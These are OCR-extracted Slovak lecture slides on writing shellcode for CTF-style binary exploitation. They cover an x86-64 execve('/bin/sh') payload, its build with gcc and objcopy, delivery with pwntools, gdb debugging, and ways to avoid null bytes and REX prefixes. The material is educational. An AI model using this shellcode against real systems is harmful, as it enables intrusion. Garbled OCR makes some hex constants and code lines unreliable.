Shellcoding

Bezpecnost informacnych systémov z pohladu praxe
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>Reverse vysledky
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>Motivacia

>Webhacking = injektovanie JS (XSS)

>Vieme nieco podobné aj pri binarnom subore?

>shellcode -> postupnost bajtov, reprezentujuca strojovy kod
>Historicky kdéd na spustenie shellu

>Von Neumannova architektira (data == k&d)

>Preco vlastny shellcode? Modern CTFers

objdump, gdb,
custom‘shelicode, no
Internet, manual modem OMG bad labels, | only
cmds, hand-crafted kno web/crypto, OMG crypto
ROP payloads, binary crypto in binary, OMG no source
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>Priklad

>Chceme spustit shell;
>Tri argumenty:

mov
lea
mov
mov

rax,
rdi,
rsi,
rdx,

syscall

sh:

59
[rip+sh]
0

0

.string “/bin/sh”

H= FH FH= H HF

i

execve (“/bin/sh”, NULL, NULL);
cesta k programu, argumenty, env premenne

cislo systemoveho volania (exec=59)
pointer na retazec /bin/sh

argv = NULL

envp = NULL

vyvolanie systemoveho volania

navestie (nezabera miesto v pamati)

# retazec
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>Ako vyrobilt shellcode (moznost 1)

>7drojovy koéd (shellcode.s)
.global start
_start:
.intel syntax noprefix
kod

>Kompilacia:
gcc —nostdlib shellcode.s -o shellcode-elf

>Extrakcia bajtov:
objcopy —--dump-section .text=shellcode-raw shellcode-elf

>Rychle disassemblovanie

objdump -d -M intel shellcode-elf
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>Data v shellcode

>Aké méame moznosti ak chceme do shellcodu zahrnut data?
>napr. retazec “bispp” (alebo “/flag” |ges)

>Moznost 1:
.string “bispp” (pozor! tu sa automaticky vklada aj \0)

>Moznost 2:
.ascii “bispp” (bez nulového bajtuf$

>Moznost 3:
mov rbx, 0x0068732fcec9 2f # 2f="/", , 69='1",...
push rbx

mov rdi, rsp 0x06



>Ako vyrobit shellcode
>PWNTOOLS® ¢ (ipython)

import pwn
pwn.context.arch = ‘amdo64’

shellcode =
pwn.asm( ‘"’

(moznost 2)

// kod (nie Jje potrebna hlavicka)

\II)

print (pwn.disasm(shellcode))
p = pwn.process (‘challenge’)
p.send (shellcode)

p.clean ()

lhttps://docs.pwntools.com/en/stable/

thtps://qithub.com/Gallopsled/pwntools—tutorial#readme
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>Ako ladit shellcode (moznost 2)

>p = pwn.gdb.debug(‘challenge’)

>Pri ladeni je potrebny terminalovy multiplexer
>tmux
>CTRL+b % (rozdelenie obrazovky horizontalne)
>CTRL+b “ (rozdelenie obrazovky vertikalne)
>CTRL+b x (zatvorenie okna)
>CTRL+b Sipka (prepinanie medzi oknami)

Unux

.

Esc + Shift +: +w +

Ctrl + b + left arrow + C||Ck on “Run”
op arrow + top arrow + enter
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>QObmedzenia

>Vstupy do aplikacie mbézu mat rdzne obmedzenia:
>7iadne nulové bajty
>D1%ka vstupu
>Trasformacia vstupu
>Nie je mozné vlozit konkrétnu hodnotu bajtu

© NULLTERMINATED
PROGRMMAING

SHELLCODE
a
- 0x09

A




>0Obmedzenia 1

>Nulové bajty

mov rax, O 48 c7 cO0 00 00 00 0O
XOr rax, rax 48 31 cO

mov rax, b5 48 c7 cO0 05 00 00 0O
mov al, 5 b0 05

mov rbx, 0x676lecoo2f 48 bb 2f 66 6c 61 67 00 00 00

mov ebx, 0xo67606loco6 bb 66 6c 61 67
shl rbx, 8 48 cl e3 08
mov bl, 0x2f b3 2f 0x0A



>obmedzenia 2

>obmedzenie 0x48 bajtov (REX prefix)

lea rdi, [riptflag] 48 8d 3d 34 00 00 00

mov edi, addr bf
mov rax, 0x2 48 ¢7 c0 02 00 00 00
mov al, 0x2 b0 02
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>Hinty
>Citat ulohu

>shellcode sa vzdy spusta uz v nejakom stave!!
>Mame k dispozicii cely systém!

deadline: 21.3.2025 13:37
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